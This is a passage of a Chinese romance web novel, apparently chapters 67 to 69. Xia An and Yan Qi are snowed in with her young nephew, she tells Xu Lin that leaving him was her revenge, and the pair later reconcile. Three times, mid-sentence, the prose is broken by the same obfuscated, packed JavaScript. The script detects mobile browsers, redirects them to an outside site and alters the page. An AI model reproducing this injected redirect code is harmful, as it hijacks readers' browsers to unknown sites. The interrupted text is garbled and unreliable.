“如果你不想我待在这里,我可以马上就走,和之前一样保证绝对不会再出现打扰你的生活。” 夏桉不知为何往窗外看了一眼,厚雪已经将枝头压弯,这里的雪下起来总是没完没了,虽然明珠园那场风雪并非她自愿躲避,但说好两清...... “太晚了,雪停了再说吧。” 颜祈被这样一句简单的话冲击到惊喜无以为复,他敛住情绪温驯保证:“我知道你只是因为外面的天气,我绝对不会让你为难的。” “随你。”夏桉扯过纸巾把手擦干,朝客厅走去。 她租的是个小两居,原来另一间是当作画室,后来许琳有次和Leo吵架带着许安安来她家,夏桉便把隔壁重新改了回去。 许安安等动画片结束才去洗漱换睡衣,他眼珠向上打量夏桉的表情,小声问:“等下那个叔叔是和我一起睡吗?” 他早就被许琳锻炼过,从今年开始一直是一个人睡,对男女意识明确。 夏桉系好他衣领前那两粒纽扣,抬手要抱他出去:“你想吗?如果不愿意也可以和我一起睡。” “我愿意。” 夏桉没料想到他如此干脆,其实细细想来颜祈确实长着一张很受小孩喜欢的脸,在蓝月岛的时候,小渔也一直很喜欢跟颜祈一起玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14507090|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 倒是颜祈被弄的有些紧张,他从来没有照顾这么小的孩子,许安安也不像谢嘉那样顽皮,他太过乖巧懂事,于是反复追问夏桉自己还需要注意什么。 夏桉犹豫了下:“你把门锁好就行。” 颜祈听话点头,对她如今的话语不容置喙,锁好门转身,刚刚还乖乖躺着的许安安不知何时钻到了床尾,从被子探出一双圆眼,被他发现偷偷窃笑。 颜祈怕他冷到,蹲下来和他平视,有点无奈:“为什么还不睡?” 许安安睁着眼睛看他,目光炯亮看不出半点睡意,有点好奇的样子问:“你叫什么?” “颜祈。” “我以前怎么没有见过你?” “因为我不住在这。” “那你住哪?” “江洲市。” “你和我姥姥家住的很近吗?” 两人你来我往的一问一答很顺畅,颜祈回道:“我没有见过你姥姥,但我认识你妈妈。” 许安安更兴奋了,觉得自己果然想的没错,“你也认识我妈妈?” “嗯,她以前也是我的老师。” 许安安暂时想不出其他问题了,可他还没有睡意,在被子里翻了两圈又钻出头来说要去拿书包,颜祈让他躺在被子里,自己去拿。 书包就放在沙发上,客厅无灯,房间灯光斜照延伸到门口,他进门前似无意地扫了隔壁房间一眼,里面早就熄了灯,卧室的房门却只是虚掩着。 颜祈愣在原地,血液倒流般脸色一瞬间煞白。 直到许安安仰起头催他,颜祈才回神把门关好,将书包递过去。 许安安接过书包从里面掏出一本故事书塞到颜祈的手上,躺下做好睡觉的姿势:“好了,你给我讲故事吧。” 颜祈迟缓地接过书,翻开第一页机械地开始念:“从前有三只小猪......” “这个听过了。” 颜祈翻了几页换到下一个:“从前有一个国王住在山顶——” “为什么国王要住在山顶?”许安安追问道。 “因为他是国王啊。”颜祈不假思索地回。 “好吧,那你继续说。”许安安对这个不走心的回答有点失望。 “他有这个世界上最漂亮的城堡,房顶的每一块砖瓦都镶嵌着价值连城的宝石,住在山脚下的居民都说,国王的珍宝比天上的星星还要多,每一个人都想去看一看那座漂亮的城堡,可是国王性情暴戾,最讨厌别人觊觎他的宝贝,谁多看一眼都会受到很严厉的惩罚,连小鸟都不敢从那里经过。” 颜祈说故事的腔调很轻,还有点漫不经心,但许安安听的入迷,一双黑白分明的大眼定定地等着后续。 颜祈便继续念下去:“有一天,国王在楼顶欣赏自己城堡的时候,发觉周围竟然一点声音也没有,他举起望远镜朝下看,发现山脚下居民都生活的很快乐,每个人都脸上都挂着笑容。国王很不高兴,于是他大发慈悲决定选一个人和他一起欣赏这座城堡,告示很快贴满全城,国王躺在用金子做的摇椅里想,山脚下的人一定会争先竞抢,每个人都想来到这座城堡参观。” “可是半个月过去了,始终没有一个人拿着告示上来,国王便在告示后面加了一条,第一个上来的人可以得到一块金子,金子很快加到了第十块。” “然后呢?”许安安追问。 “国王在城堡里暴跳如雷,决定自己下山挑一个幸运的人。他骑马到了一片森林里,遇见一个有着美妙歌喉的漂亮女孩,女孩唱歌的时候,连湖水都会忘记涟漪,国王想,这样美妙的歌声不应该藏在森林里,应该藏在城堡里,于是跳下马邀请她去城堡。女孩并不同意,国王便把她直接带回了城堡里。” “女孩在城堡里过的并不开心,唱的歌也不再动听,国王不能理解,他问女孩住在世界上最漂亮的房子里,为什么还不知足,女孩说,她想回到她的森林里,国王生气把她关了起来,女孩便没日没夜地唱歌,终于,她哀怨的歌声吸引了山脚下居民们的注意,于是大家推倒城堡把女孩救了出来,从此幸福快乐的生活在一起。” “那国王呢?” 颜祈往后翻了一页,新的彩色标题大字落在上面,如实回道:“书上没写。” 许安安困的眼睛都要睁不开,但还是强忍着追问:“她不想待在漂亮的城堡里,是因为国王是坏人对不对?” 颜祈敛下眼睫在他肩头轻轻拍了拍,目光移向间隔的白墙久久没有说话。 只有窗外寂静的雪花听到了他的回答。 “是。” “没有人会喜欢住在山顶上的国王。” 雪一夜未停,夏桉从半夜开始头晕,临近清晨才睡着,醒来时外面已经看不到其他的颜色。 推开门,许安安正趴在茶几上写作业,颜祈杵着下巴在旁边守着,见她出来慌乱放下手,像个好学生一样坐的笔直。 砂锅里热着米粥,夏桉看了会盛出一碗端到餐桌前,低头小口喝着。 许安安在那道两位数加一位数的算术题后面写上答案,开始掰手指。 颜祈瞟了一眼:“你干嘛,这不是都算出来了。” “不行,妈妈说每道题都要验算完以后才可以确定最终答案。”许安安两只手齐上阵,终于确定了以后才继续算下一道题,一页纸写完都到上午十一点了。 窗外的雪一直没停,吃完中饭,电视里放了一部动画电影。 许安安坐在两人中间,激动地让夏桉不要换台,说他从来没有看到这个。 永远不会长大的小飞侠带着温蒂去了永无岛,和虎克船长斗智斗勇。 夏桉小时候已经看过一遍,她从来没有向往过永无岛,相反地,她极度渴望长大。 最好能快一点,再快一点。 变成大人似乎和远离颜祈画上了等号,夏桉已经记不清这哪一天产生的念头,只是像根尖刺一样扎根在心底。 而后一晃眼,她终于成为世俗意义上的大人。 即使是多年以后对人生有了更深刻的了解,夏桉如今再看到电影也从来没有后悔过那个念头。 在某个无声的间隙,夏桉浑浑睁开眼,冥晦不清的光线像一层薄薄的雾气,一片昏寂中,那双湿透的眼睛来不及躲避。 沉默里,夏桉听见自己在问:“为什么要哭?” 68. 第六十八章 泛红的眼眶藏着世界上最小的海,却得不到爱人的垂怜。 颜祈目光低垂不语,半明半晦的光线落到他高挺的眉骨,隐住了些许神色,可任他如何躲避,已经蓄积好的情绪还是顷刻间坠落。 这样的情景让他难堪,在一个冷情的人面前,眼泪是那样无用,自揭伤疤不过是将痛楚一一复习,刻骨铭心地提醒近在咫尺的事实。 雪花默然,万物寂静,他的狼狈在夏桉面前像一出拙劣的笑话。 夏桉的视线没有避开,如同暗夜里准备捕杀的野兽,清寂中眸光愈发浓稠,往他伤口狠狠刺去:“为什么要哭?” 颜祈滞哽几秒,像衣衫褴褛的人突然被丢进一道白光里,下意识别开脸否认:“没有......” 许安安又一次拯救了他,小孩刚醒来双颊还透着不自然的红晕,夏桉家暖气开的足,但也怕他在沙发上刚刚睡过去的这一小会着凉。 冬天易感风寒,夏桉弯腰从茶几的抽屉下面拿出电子体温计给他测量,还好,没有任何异常。 “小姨,我饿了,我想吃蛋糕。”许安安摸摸自己的肚子,心里早就想好了吃什么。 夏桉拨开他压在脸上的头发,没有阻止:“去吧。” 许安安轻车熟路地从冷冻层拿出一个四寸芒果慕斯放在桌上解冻,晚饭吃的很少,被大雪天困在房子里的时间总是贫乏,能做的事情不过就是那么几件。 雪没停,颜祈不用担心自己今晚会被赶走。 夏桉一贯恪守承诺,从不被情绪所困。 电视里播着许安安最喜欢看的动画片,一群说着外语的小粉猪在泥潭里跳来跳去,叽叽喳喳听的夏桉又开始头疼,但时间还早,她礼貌性地对颜祈传达待会等许安安吃完蛋糕就带他去刷牙睡觉的请求。 “小姨,我不要和他睡了,他总是在梦里叫我的名字。”许安安把芒果慕斯吃的嘴角旁边都是,也不忘抬头告状。 学着颜祈的样子说:“安安,安安的,好吓人.......” 他把嘴里的芒果吞下去,肉嘟嘟的小脸好奇地回望颜祈,询问道:“你为什么要叫我名字啊,我们不是昨天才见面吗?你梦见我了?” 颜祈四肢僵麻,不敢去看夏桉的脸色,他那点上不得台面的心思就这样被赤裸裸的揭开,说好了不会让她为难,可他的存在一直在承担这个角色。 他真的没有其他意思只想和夏桉做朋友吗,他们都心知肚明,这个词永不会成为他们关系的代称。 但成长的代价注定惨痛。 珍珠是颜祈未曾了解的夏桉。 颜祈不是平南,但颜祈也不再是那个高傲自矜的颜祈。 他漆深的眼睫动了动,有点无措地又说了一句对不起,没有指名点姓。 许安安显然是更坦然的那一个,宽容的小孩递下台阶:“那好吧,我原谅你。” 幸好,还有一个“anan”愿意原谅他的失态。 直到夏桉关上房门,颜祈的头仍然埋得很低很低,那些乖戾执拗造成的钝痛已经伴随着生长附骨深髓。 窗外只有雪花簌簌落下的风声,夜晚的寒风把雪刮到窗棂上,又吹进夏桉的梦里。 她最近总会梦到很多小时候的事情,父母的轮廓已经有些模糊不清,像录像带里的旧时光一点一点褪色,来不及学会的曲调,典雅三角钢琴旁矗立的木架画板,纱绸随着轻漫的光线翩跹。 但构成她彷徨童年的不止这些。 夏桉总会想起那个被丢在地上的兔子玩偶,它额头抵在地毯上,要和那些繁复的花纹对视一整夜,狂乱的风好像一开始还带着沾灰的雨落在那里。 后来颜祈开始让她做选择,他倨傲占据那张床的大部分位置,抬着下巴跟她说:“丢下去。” “夏桉,自己丢下去。” 跟着兔子一起被丢下去的,还有夏桉的灵魂。 她的灵魂有沾到那些湿冷的雨水吗? 夏桉已经记不清,颜祈把玩偶恢复的太完美,无数次的撇弃在它身上看不到半点踪迹。 小兔子还是小兔子,夏桉还是夏桉。 她的梦只能做到这里,夏桉每次梦到过去都会强制自己苏醒,她知道后面会发生什么,晦暗的床底、布满灰尘的杂物间,还有冷的刺骨的喷泉。 夏桉睁开眼,脑子里仍是一片眩晕,窗外无光,她垂目在床上坐了很久,起身打开卧室的门。 颜祈望向她的身影有片刻怔忡,随即垂下目光,昏暗暗的客厅里,只有夏桉的身后还带着暖黄的灯光。 夏桉愣了愣,不知道他在那里坐了多久,想说话但喉咙干涸,走到冰箱面前打开,明亮干净的光线照在她的脸上。 她拿过一瓶苏打水拧开,突然在背后听到颜祈的声音:“这么晚还是不要喝冰的比较好。” 冰水将热腾的五脏六腑凉透,夏桉只字不闻,如今颜祈已经没有管束她的能力。 一口气喝了大半,夏桉脸上升腾的热意才稍稍降息,她握紧水瓶把冰箱门关上,转身无事发生般问道:“你怎么不睡觉?” 颜祈:“......他总是抢我被子。” 这个理由不可信,一个五岁的小孩能有多大的力气,夏桉却顺着他的话:“我还是把他抱回我的房间算了。” “不用,我......等会儿就进去。” 夏桉嗯了一声没再多说,她起步往房间里走。 颜祈坐在原地蓦然叫住她,声音隐隐有些发抖。 夏桉没回头去看,她只是静默的站在原地,等待他的问题。 他轻声说:“你的门怎么回事?” 那扇被暴力拆卸过的门,门框处撞击脱落的裂痕依旧清晰可见,该有锁的地方只留下几个洞眼,透着无尽的黑暗。 掌心透骨的冷意让夏桉避免沉浸在过去的情绪里,她好像听到了外面的风雪声,漂亮而空洞的眼睛望着前方,如梦里一般阴寒。 “我自己拆的。” ...... “回去睡吧。”那是夏桉对颜祈说的最后一句话。 他的离去无声无息,却第一次遵守和夏桉的承诺。 风雪停了。 - 夏桉两天后把许安安送回了家。 许琳让她留下来吃饭,说自己去海岛度假带了很多东西回来。 梭子蟹在水池里咕咕吐着水泡,许琳折腾了会儿不敢下手,打电话准备叫Leo回来收拾,夏桉戴上手套拿过剪刀,面不改色地剪鳍去腮。 “你还会这些?”这着实让许琳有点意外。 在许琳的心里,夏桉还是小时候那个住在华丽宅院里的小姑娘,这种事无论如何也轮不到她去做,但她的操作太得心应手,长睫不眨地将螃蟹剪成两半。 夏桉手下动作不变,轻轻嗯了声。 哗哗流动的水声盖住客厅动画里的稚语,许琳站在旁边静静看着她,斟酌开口:“许安安跟我说,在你家看到了一个帅哥,你恋爱了?” “没有。”夏桉掰开一个新的蟹壳,淡淡道:“就是一个以前认识的人。” “颜祈......是吗?” “......嗯。” 许琳换到另一边,将她收拾好的螃蟹沾上淀粉。 窗外厚雪堆积,光线比平日更加明亮。 许琳看到远处有小孩在打雪仗,年轻鲜活的身影追逐着,笑声琅琅,她回头朝客厅望了一眼,想起许安安的时候勾唇笑了一下。 “既然来了,要不你哪天把他一起带过来吃饭,我看许安安挺喜欢他的。” “不会来了。”夏桉不动声色收回视线,这样回道。 许琳笑了笑,没有明白她的意思:“这次不行就下次,反正日后总有机会。” 异国他乡遇见故人已是不易,更何况是年少记忆里最油墨重彩的一笔,许琳面对夏桉总会想起自己的年少辰光,对时间的瞬息感慨道:“算起来,那还是我的第一份工作,我妈就是个老实的厨师,我一直想出国又总怕会给她造成负担,还是因为老师给我介绍了这份工作,才攒出一笔钱来。” “他家人不错,给的工资高还事少,其实我还挺感激的。” 许琳说着忍不住笑,记忆里那些往事时至今日想起依旧有趣,“那个时候我看工资那么高,他母亲又特意找了我谈话,我还以为自己要教的是个像电视剧里那样顽劣的小少爷,上第一节课的时候准备了半天,进门前都做好了会有一盆水从天而降倒在我的头上,想着大不了忍一忍,我那个时候太想要钱了,觉得不管怎么样都要坚持下去。” “还好,是你。”许琳由衷地望向她。 乖巧少语,又出奇具有天分,这导致许琳在往后的十多年,特别是面对那些调皮的学生时总会想起那个漂亮的小女孩。 她放下筷子,有些好笑地对夏桉说:“你都不知道,那个时候我都想,我以后结婚了一定要生一个像你这样听话的小孩,简直太省事了。” “可是当我有了许安安,他第一次踢我的肚子的时候,我突然就改变了这个想法,我只希望他平平安安的,他不需要很懂事,他只需要很快乐。” “夏桉,你不快乐。” “从前是,现在也是。” 许琳对她的过往知悉不多,只知道夏桉因为一些事情一直住在颜家,但也在这两年的相处里大致能猜出一些信息。 她轻声问道:“是因为颜祈吗?” 那位和夏桉形成极致对比,在课堂上永远无法控制住的小少爷,许琳对颜祈的印象很复杂,一是他虽然顽戾但确实没有做什么很坏的事情,充其量在她这里就是个不听话的学生,二是他们当时年纪都太小,谁没事会费力气跟一个明知道被宠坏的小孩计较。 水声早已停息,宽敞的厨房只回荡着客厅里的电视声,砧板上暂未死透的神经系统驱使螃蟹无力举起右钳,不过是垂死挣扎。 许琳过了很久才听到她的声音,像午夜的呓语不可捉摸,“他抢走了我的娃娃。” 夏桉只说了这一句。 这与许琳的预想相差太多了,设想里那些激烈的矛盾偃旗息鼓,他们的矛盾竟如此简单清晰。 说大不大,说小不小,可算起来,不过是小孩子之间的抢闹。 许琳微微蹙起眉,沉吟问道:“那后来呢?” “我狠狠报复了他。”夏桉望了望窗外,纤细分明的颈线下骨骼挺直。 许琳诧异的间隙,她紧了紧手上的剪刀,状似不经意地说:“谁让他抢我娃娃的。” 这不过是直来直往的报复,不掺杂任何其他因素,颜祈抢她的娃娃,夏桉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533805|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还击回去,公平公正。 许琳紧着问:“你怎么报复他的?” 这个问题显然不好回答,事情明明是夏桉自己做的,可她却好像找不到答案,她打开水龙头用力刷洗螃蟹,但这只太滑了,她没抓住。 夏桉有点懊恼,温热的水在池底激起水花溅了出来,她反手关上开关,世界终于安静了。 “我离开了他。”这是她能找到最好的答案。 许琳愣住,对这种奇怪的逻辑几乎下意识地问:“这是报复吗?” “当然。”夏桉没有迟疑,她甚少有这样情绪起伏的时刻,那句话或者可以翻译成更直白的语言,“他失去了我。” 夏桉离开了颜祈,颜祈失去了夏桉。 没有本质差别。 她轻喃重复道:“这就是报复。” 许琳叹息问道:“为什么你会觉得这样就是对他最大的惩罚?” 夏桉被这个从未思考的问题涌出很多复杂的情绪,不由一愣,长睫缓慢眨动,张唇有点不知所措:“电影里不都是这么说的,痛失所爱,郁郁而终。” “所以你一直知道他爱你。” “我不知道。” 否认这件事已经成了她的应激反应,夏桉心绪有些不安,某处早就蓄势待发的奇怪感觉隐隐有破土之势,心跳越来越快,就快冲破限制。 许琳锐利的眼神直视,如同多年前一样将他们的关系看透:“你知道。” “你知道你离开他,不选择他,就是对他最大的惩罚。” “但是你不想承认这种错误的爱。” 太过善良的人根本不知道如何去伤害一个人,以为缺憾就是伤害的本色。 可这种不痛不痒的惩罚究竟在伤害谁? 颜祈并没有付出什么代价,他依旧生活的很好,父母疼爱,长兄稳重,颜祈的人生完美无缺。 夏桉晃了晃神,立刻摇头否认,语气有点焦躁:“不对,我报复了他。” 她翻找记忆寻得证据,“他做的那些事情都回击到了自己身上。” 颜祈自己扔出去的回旋镖将他扎的遍体鳞伤。 夏桉扔掉了他的戒指,恶语相加,她知道颜祈最想要什么她偏不给,她伸手打了他,她否认过去将真心践踏,她披着虚与委蛇的假壳欺骗他,对他没有说过一句真话。 她还故意选择颜淙,夏桉从未对颜祈有过一丝感情。 “那你呢,你没受伤吗?”许琳说:“回旋镖丢出去的时候,不也围着你转了一圈?” 这样刀刃相见的伤害里,谁能避免? 夏桉用力扣着指腹,控制不住躯体带来的反应急需换气,她慌乱脱下手套,后退一步慌慌逃走:“我要回去了。” “夏桉。” 许琳拦不住她要走的决心,许安安从沙发上跳下去抱住她的腿:“小姨,你要去哪?” 许琳摸了摸许安安的头,温声道:“没事,你小姨想起家里还有点事,下次再跟你玩。” “真的吗?”许安安仰起头,不太相信。 夏桉控制情绪勉强露出一个笑意。 许安安这才松开手重新跑去看动画片,许琳将夏桉送到门口,望她发白的脸于心不忍,但还是觉得有必要告知:“之前放在别的画廊里的画都被人买走了,你想知道是谁吗?” 夏桉沉默须臾,抬起眼,“不用了。” 许琳有点无奈,走过去帮她整理好围巾,顿了顿认真问道:“夏桉,你真的有那么恨他吗?” ....... 两家住的并不远,夏桉踩着松软的积雪往回走,纷乱的雪花又落了下来,她站在原地望向天空,雾蒙蒙的天连一朵云都没有。 夏桉吸了吸鼻子,视线碎裂成好几块,内心的酸涩难以言喻。 她咬住唇加快脚步,忽地,视线凝滞在前方。 时间仿佛静止一般,他们之间隔着无尽的风雪,只有簌簌落下的雪花还在不断飞舞。 颜祈穿着一件长长的黑色大衣,肩上沾染的白雪和领口衬衫的颜色别无二致,他漆黑交错的睫毛颤了颤望进她的眼里,不敢向前半步。 往事尘嚣,他们终于成了遥遥相望的陌生人。 夏桉耳边突然回响起许琳问她的最后一个问题。 ——“你真的有那么恨他吗?” 这世界上的报复手段有那么多,怎么偏偏选了这种没有实质伤害的举措? 夏桉为何从未想过自己如此笃定,确保颜祈能在这件事情上受到同等的伤害。 许安安幼儿园的数学题尚且都要掐着手指头去验算,为什么夏桉却从未去验证过颜祈的真心,没有思考过计划的可行性,总是无比确信。 她订婚只是因为颜祈怕颜淙? 其实也想反客为主吧。 就算一开始不懂,难道后来也感受不到颜家对她的照顾,那些会把她赶出去的话不过是颜祈拙劣的谎言。 她明知道颜祈对她的占有欲,还依旧配合着他,冷眼旁观看他在虚假的恋爱氛围里沉溺。 夏桉有时候不得不承认,她确实是一个很残忍的人。 爱的记忆比恨长久。 她知道怎么样让颜祈更痛。 颜祈在驯养她,她又何尝不是。 夏桉比颜祈更有耐心。 69. 第六十九章 不过五点,外头的天光就已经褪散,夏桉站在阳台上,漫天白絮不断坠落,她望着楼下醒目的黑色身影想起那年在明珠园看到的那个雪人。 颜祈堆的很大,不仅给它戴了帽子,还围了一条很漂亮的红围巾,只可惜才融化就被推了。 阳台上的冷风刮过夏桉鬓角的碎发,屋外的风声远比想象中的剧烈,周围看不到一个外出的行人,有人却如松般伫立不动。 五点过五分,夏桉从阳台离开,屋内的暖气才刚刚供应回温,她把钥匙塞进口袋里,想起许安安喜欢吃的那些零食忘记买了。 夏桉从颜祈面前经过,绕到小区外面的便利店里,没发现许安安喜欢吃的那款软糖,连带着其他东西也不想买了,在收银台前看了看,随便买了样东西塞进口袋里。 先前来时踩雪的脚印已经淡了些,冷寂暮色下,颜祈的脸白到透明,透着一种被摧残的羸弱,不知道是不是在雪地里淋久了的原因。 漫长的几秒钟过去,夏桉收回视线把下巴埋进围巾里,抬起脚步继续往前走。 从能看到夏桉,颜祈的眼神就死死缠在她的身上,可他也只是原地不动的看着,没有任何想要打搅的意思。 夏桉走过他的身前,深吸一口气,终于停下来回头望过去。 只一眼,颜祈便乖顺地跟在后面,惶恐中悄然松了一口气。 屋子里的暖气打的高,颜祈跟在夏桉后面进门,自己从柜子里找出鞋换上,他在外面站的太久,骨头都僵麻了,坐在沙发上好一会儿四肢才逐渐缓和。 茶几上的感冒药已经降至合适温度,那是夏桉进来时给他泡的。 握在手心里的时候,颜祈觉得他又在为难夏桉。 怎么以前就能躲在暗处,现在又无法安分,非要站在她能看得见的地方去逼她。 明知道夏桉对他最是冷情,却还要用这些没用的手段妄图她会心软。 可是他已经没有办法了。 情感匮乏的颜祈再也找不出更好的方法,他的爱是那样笨拙,在夏桉面前拿不出手,却又总是无法劝服自己。 厨房里咕嘟咕嘟冒着水声,颜祈将杯中的药喝完走进厨房,温热的水流徐徐冲刷着他泛红的指尖,夏桉站在旁边沉默地看着,等他洗完杯子递过擦手的毛巾。 他擦的很慢,期间夏桉往锅里加了一次冷水,在等待沸腾的过程微微偏头问道:“吃这个可以吗?” 那是许琳上次给她包的饺子,说就算一日三餐再糊弄,也至少吃些热乎的。 颜祈受宠若惊地点点头,发觉夏桉并没有赶他走的意思,他努力想找话题,但又怕说多了露出马脚。 他的踌躇和无措是这样的显而易见,颜祈总觉得自己该说点什么,指尖用力抠在胀痛的关节上,或许他应该和上次一样跟夏桉道歉,然后接着保证不会让她为难,承诺这是最后一次。 “手被冻到了吗?”夏桉余光中扫到他的动作,偏头看去。 颜祈无力地握成一个空心的半拳往后缩,知道自己现在狼狈的样子并不好看,可他本来也不是夏桉喜欢的样子,突如其来的顿悟让他的心落入谷地。 对呀,他本来就没有什么让夏桉喜欢的点,那天早上在蓝月岛的有意准备现在想想简直可笑至极。 但接下来的一切如同做梦一般,夏桉拉过他的手,柔软的指腹在他的骨节上揉捏观察,而后接了一盆温水帮他把袖口挽好,握着他的手带领浸泡其中。 白皮饺子在锅中上下翻滚,厨房水汽充盈,他的舌根还泛着苦涩,可颜祈只闻见了夏桉身上那股熟悉的淡淡香气,像夏日凛冽山泉旁的兰草。 他的视线落在夏桉的手上,她的骨节线条很好看,匀称纤长,指尖泛着健康的红晕,手背上淡青脉络清晰可见。 人总是得寸进尺的,感受到一点暖意就想抓住不放。 可能是这一刻的温暖让他松懈到忘乎所以,像极了那个夏天他们在蓝月岛的生活,颜祈反手想要索求更多。 夏桉如有所料地先一步抽离,擦干手赶在饺子露馅之前关火。 “对不起。”颜祈醒神慌忙道歉。 伴随着道歉低下头的颜祈,给人委屈的错觉,夏桉对这句歉意并无任何表态,沉默地用漏勺舀出自己要吃的那一部分,剩下都给了颜祈,而后才淡淡道:“吃饭吧,等下再泡。” 气氛回到最初,刚刚的一切就像镜上短暂氤氲出的薄薄水雾,瞬息即逝。 窗外寂静,餐桌上少了许安安气氛沉闷。 颜祈自知有错,是他总在逾越一次次挑战夏桉的底线,他也很唾弃这样的自己,在夏桉身上总是表现得贪得无厌,却又无法控制。 于是在夏桉睡前把感冒药递给他的时候,他又小声说了一次对不起。 夏桉敛下眼睫到底还是没说什么,只是嘱咐道让他早点休息。 她作息规律,况且从小就和颜祈隔墙而居在同一个屋檐下生活,所有的一切都不会影响夏桉。 意外地,夏桉这一晚的梦做长了些,但紊乱虚空的梦境还是让她再一次从午夜苏醒。 心率无序乱窜,她躺在床上深深呼吸,恍惚间在门口看到高瘦清隽的身影。 晦暗的房间只有窗外映射的微弱雪光,夏桉伸手打开灯看了眼手机,才凌晨四点,坐起来问道:“怎么了?” 颜祈低着头,声音沉闷不堪:“我做一个噩梦。” 但他又很快开始无措地往后退,似是想起了什么:“对不起,门不是我打开的,我醒来的时候它就这样。” 夏桉自然知道,盯着他的脸看了半晌,轻声说:“你过来。” 颜祈怔了怔,慢慢走进房间,站在床侧不敢看她。 “睡觉吧。”夏桉关上灯没有多说。 许久,她才感受到床榻另一侧的塌陷,颜祈和她隔的很远,几乎贴在床边。 夏桉惊醒的困倦重新涌了上来,过了许久,窗外开始透露一点微光,半梦半醒间,她睁开眼,意识还不太清醒。 颜祈似惊醒般开始往后退,可是夏桉已经抚上了他的眼角,忽然开口问:“怎么又哭了?” “对不起。”颜祈下意识回答,那双浸红委屈的眼勾的人心尖发软。 夏桉平静地问:“你又做梦了?” “嗯。” “梦见什么了?” “......我推了你。” 颜祈在说小时候那件事情。 他好像又变回了那个犯错的孩子,只是这一次不再倨傲和有恃无恐,他在害怕,在后悔,于是一次又一次在午夜回到那个夏日。 夏桉抹掉那些眼泪小声问:“为什么要把画全部买走,那些都不是为你画的?” 颜祈湿着眼眶,在这样近的距离里无处可藏那些被发现的窘迫,声音很低很低:“对不起......下次我会等他们先买的。” 他望向夏桉看不出情绪的淡然眉目,心口再一次传来悸痛,他的歉意并不值钱,轻飘飘的,毫无重量,每次的回答也总是漏洞百出。 夏桉轻不可闻地叹息了声,抚在他的脸侧有点疲倦:“颜祈,爱你会辛苦!” “我知道。”心口的酸涩忽而翻涌,颜祈对这件事一直有清楚的认知,脸颊蹭过夏桉的手心,“但你的爱很好。” 他们就像磁极的南北面,颜祈的爱太差,所以注定要被很好的爱吸引。 他的声音哑到破碎,“你是不是又梦见我了?” 他已然尽数明白,夏桉之前在梦里叫他的名字根本就不是想他,而是让他离她远一点,他是她是梦里的凶兽,是她一切恐惧的源头。 他强忍着眼眶蓄起的泪,遮住夏桉的视线哽咽道:“别再做噩梦了。” “别再梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558399|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见我了。” “那你呢?” “我很想你。” 他说:“一直都很想很想你。” 所以他的才不是什么噩梦,是日有所思,心之所向,是颜祈想用一切交换回到的过去。 “颜祈。”夏桉贴他脸侧的指腹浸湿,收回拉下他的手,感觉心里某处好像塌陷了一块。 “对不起,我......”他慌乱冷颤的厉害,知道这些话不该说出口,他有什么资格说这些话,伤害夏桉的是他,现在在这里说后悔的还是他。 怎么连道歉这种事他都做的这么糟糕。 他擦着夏桉的眼泪不知所措,可是翻来覆去却再也找不到更好的话,只能一遍遍颤声说:“对不起夏桉.......对不起......” 那些从来只属于夏桉的话,变成了颜祈的口头禅。 他们都知道这样的爱有错。 无数个对不起像细针一样刺中夏桉,她微微怔住,哪怕是五年前决定和颜淙订婚,她和颜祈的关系也从来没有这样置换得如此彻底。 颜祈被二十岁困住了。 他留在那个冬日变成了小时候的夏桉,他开始比任何人都担心她会生气,于是只能不停地道歉请求原谅,把所有的骄傲和不甘通通藏起来。 回旋镖还是落到了夏桉的手里。 夏桉自认为自己是个冷情心硬的人,可这一刻还是忍不住质问自己,颜祈带给她的真的只有伤害吗? 她总是在问颜祈要做什么,可是心里当真一点也不清楚? 被覆以管教借口背后的真心,夏桉其实自己都不敢承认。 可她还在问。 颜祈,你究竟要做什么? 她只想得到一个答案,想把那些遍体鳞伤的伤口还回去。 那颜祈的好,夏桉就要狠心当作看不见,她真的只要对颜祈一个人心硬? 所有人都没发现她在哭的夜晚,是颜祈拉上窗帘握住了她的手,陪她度过那段最漫长的时光,一无所有的夏桉得到了和颜祈一样的资源,即便光环褪去学校也没有一个人敢欺负她,是颜祈把浮萍一样的夏桉绑在身边,补缺了她成长期间需要的所有关注和庇护。 为什么和她订婚是颜淙,先在蓝月岛找到她的人却是颜祈? 她在明珠园逼问颜祈之前真的不知道答案? 其实知道的吧,在夏明诚举起棒球棍要砸下来之前,比在蓝月岛失忆更早,所以才会不断否认却又在许琳问起的时候直接回答出痛失所爱。 一直劝说自己论迹不论心的夏桉,能原谅王淑华他们把她当作一个替代品,欺骗她隐瞒她,接受颜淙对她只是合适的婚姻,为什么到了颜祈这里就不可以? 她说希望蓝月岛每一个人都幸福,颜祈就连条狗都不放过,那么怕狗的一个人,却给全岛的流浪狗建了一个收容所。 